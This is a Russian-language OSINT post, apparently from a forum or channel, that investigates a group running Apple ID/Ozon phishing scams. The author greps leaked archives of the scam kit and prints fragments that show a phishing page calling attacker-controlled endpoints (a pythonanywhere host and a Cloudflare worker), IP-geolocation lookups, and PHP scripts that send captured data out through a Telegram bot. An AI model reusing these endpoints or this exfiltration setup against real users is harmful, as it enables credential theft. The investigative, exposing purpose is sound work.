Есть очень много информаций о мошенниках. Насколько вы все прекрасно знаете, это не единственные мошенники. Это целая группа воркеров. Далеко не единственное агенство которое скамит на icloud (примеры видите на скриншотах)

Также вы видите все доказательства что за всем этим стоит cfg. Если прописать grep в архивах который предоставил нам этот канал
Можно найти кучу интересных ссылок

apple.com</a>, введите почту аккаунта и следуйте инструкциям для сброса пароля.
./ru.ozon.html:                    Да, <a href="https://www.apple.com/ru/legal/privacy/data/ru/apple-id/" target="_blank" rel="noopener noreferrer">Apple подтверждает безопасность</a> обработки данных.
./ru.ozon.html:  const apiUrl = "https://cfg2024.pythonanywhere.com/ozon1";
./ru.ozon.html:    const WORKER_URL = 'https://ozon.raveink.workers.dev/';
./ru.ozon.html:        fetch('https://ipinfo.io/json')
./user-629587556-groups.json:    "link": "https://t.me/vlexiks",
./user-629587556-groups.json:    "link": "https://t.me/+aVmJ9ufFmKA0MTZi",
./script.py:BASE_URL = "https://cfg2024.pythonanywhere.com/ozon"
./index.html:  <script src="https://cdn.jsdelivr.net/npm/qrcodejs/qrcode.min.js"></script>
./index.html:    fetch('https://ipinfo.io/json')
./server/.engine/sl.php:$image_url = "https://i.ibb.co/bRKkYCzt/onlyfans.jpg";
./server/.engine/sl.php:$url = "https://api.telegram.org/bot{$token}/sendPhoto";
./server/.engine/pg.php:$data = file_get_contents("https://ipwho.is/" . urlencode($ip));
./server/.engine/st.php:$image_url = "https://i.ibb.co/0yKDVmy5/Frame-178.jpg";
./server/.engine/st.php:$url = "https://api.telegram.org/bot{$token}/sendPhoto";

https://api.telegram.org/bot{$token}
Понятное дело что тут используется какой-то токен бота, который отправляет фотку (мы еще вернемся к токену бота). Дальше есть тг канал https://t.me/vlexiks, который является приватным. Поэтому кучу информации о нем не удалось достать (тоже на изображении показал). Также есть ссылка на вступление в приватный канал https://t.me/+aVmJ9ufFmKA0MTZi которая больше не действительна. У нас есть ещё ссылка на https://ozon.raveink.workers.dev/ (она самая интересная), т.к. если на нее просто зайти то она возвращает json

{"ok":false,"error":"method_not_allowed"}

Давайте снова grep пропишем

 scodyx@localhost  ~/OSINT_workspace  grep -arE "WORKER_URL" .

./ru.ozon.html:    const WORKER_URL = 'https://ozon.raveink.workers.dev/';
./ru.ozon.html:        fetch(WORKER_URL, {